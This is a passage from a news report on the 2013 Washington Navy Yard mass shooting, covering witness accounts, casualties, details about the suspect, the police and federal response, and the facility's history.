still don't know all the facts. But we do know that several people have been shot and some have been killed," President Barack Obama said Monday afternoon. "So we are confronting yet another mass shooting. And today it happened on a military installation in our nation's capital." Obama called the shooting a "cowardly act" that targeted military and civilians serving their country. "They know the dangers of serving abroad," he said, "but today they faced the unimaginable violence that we wouldn't have expected here at home." Witness: 'He aimed his gun at us' and fired Witness: People pushed their way out of building The violence started unfolding at 8:20 a.m. when several shots were fired inside the southeast Washington facility. Police spokesman Chris Kelly soon described a suspect as an adult male, about 6 feet tall with a bald head and medium complexion, dressed in a black top and black jeans. He was armed with an AR-15, which is a semi-automatic rifle; another rifle and a semi-automatic Glock handgun, according to a law enforcement official. Two witnesses told CNN affiliate WJLA-TV that they heard a fire alarm go off in the building where they worked, then saw a man with a rifle down the hallway as they exited the building. "He aimed the gun and fired our way," Todd Brundidge told WJLA. People frantically ran down stairs to get out of the building, Brundidge said. "They were pushing. They were shoving. People were falling down," he told WJLA. "As we came outside, people were climbing the wall trying to get over the wall to get out. …. It was just crazy." The injured included a Washington police officer who has been hospitalized, and a base security guard officer, said Metropolitan Police Department spokeswoman Saray Leon. Victims in surgery Three people, including the D.C. police officer, were admitted to MedStar Washington Hospital Center with multiple gunshot wounds. They are expected to survive, chief medical officer Janis Orlowski told reporters. One person was pronounced dead at George Washington University Hospital, according to Dr. Babak Sarani, chief of trauma and acute care there. Details emerge about suspect As authorities investigated the deadly shooting, across the country details began to emerge about the suspect. The FBI said it identified Alexis using fingerprints and ID. He was in the Navy's ready reserve, Navy Secretary Ray Mabus told CNN. In the past, he was an enlisted petty officer working on electrical systems. He was discharged from the Navy following a "pattern of misconduct," a U.S. defense official said. The military is reviewing his files. The suspected shooter had an active ID and entered the base legally, according to a federal law enforcement official. Outside Fort Worth, Texas, friend Michael Ritrovato said Alexis had recently been frustrated with the civilian contractor about a payment issue. But Ritrovato said his friend never showed signs of aggressiveness or violence, though he played a lot of shooting video games online. "It's incredible that this is all happening, because he was a very good-natured guy," Ritrovato said. "It seemed like he wanted to get more out of life." In Seattle, police said they arrested Alexis in 2004 for shooting out the tires of another man's vehicle in what Alexis later told detectives was an anger-fueled "blackout." SWAT teams swarm area Meanwhile, at the Navy yard, helicopters hovered overhead. In one chopper, there appeared to be a police sniper peering out, with a scope at the ready. The Bureau of Alcohol, Tobacco, Firearms and Explosives sent a team of about 20 special agents to the scene, a law enforcement official said. The team was the same group that helped apprehend Boston Marathon bombing suspect Dzhokhar Tsarnaev, the official said. Emergency personnel, the FBI, U.S. Capitol Police and local D.C. police responded to the shooting, shutting down traffic in the area on the District's south side along the Anacostia River. Some people were evacuated, and others sheltered in place. Paul Williams, who works at a nearby nonprofit, was headed to his office when he witnessed panic at the Navy yard. "I heard four rapid bangs – bang, bang, bang, bang," he said. At first, he thought it was construction noise, but less than a minute later, he saw hundreds of people coming toward him. "I didn't know what was happening. I just ran with them," Williams said. "Everyone seemed scared. People were crying. People were being consoled and calling loved ones and family." Government buildings, schools tighten security Security was stepped up at the Pentagon. And at least eight schools were on lockdown as a precaution, the Washington public schools said. Air traffic to Reagan National Airport in northern Virginia, the closest airport to downtown Washington, was suspended after the shooting but later resumed, the Federal Aviation Administration said. Officials postponed a Washington Nationals baseball game that had been scheduled for Monday night at Nationals Park, just a few blocks away from the Washington Navy Yard. The headquarters for Naval Sea Systems Command – the workplace for about 3,000 people – is the largest of the Navy's five system commands. It has a fiscal year budget of nearly $30 billion. "With a force of 60,000 civilian, military and contract support personnel, NAVSEA engineers, builds, buys and maintains the Navy's ships and submarines and their combat systems," the Navy said. Eleanor Holmes Norton, Washington's congressional delegate, described the Navy yard as a "very secure facility." The Washington Navy Yard – the Navy's oldest land establishment – was created in 1799 following an act of Congress, according to the Naval History and Heritage Command. Originally envisioned as a shipbuilding and fitting facility on the Anacostia River, it serviced some of the Navy's most famous early vessels, including the USS Constitution. Burned during the War of 1812, the Navy Yard was transformed into a center for ordnance and technological development. The facility was the world's largest ordnance plant during World War II, but its military role steadily diminished during the Cold War era. Today, the Navy Yard includes the headquarters of Naval District Washington and is home to a naval museum. The area around the facility has been marked in recent years by significant commercial and residential revitalization.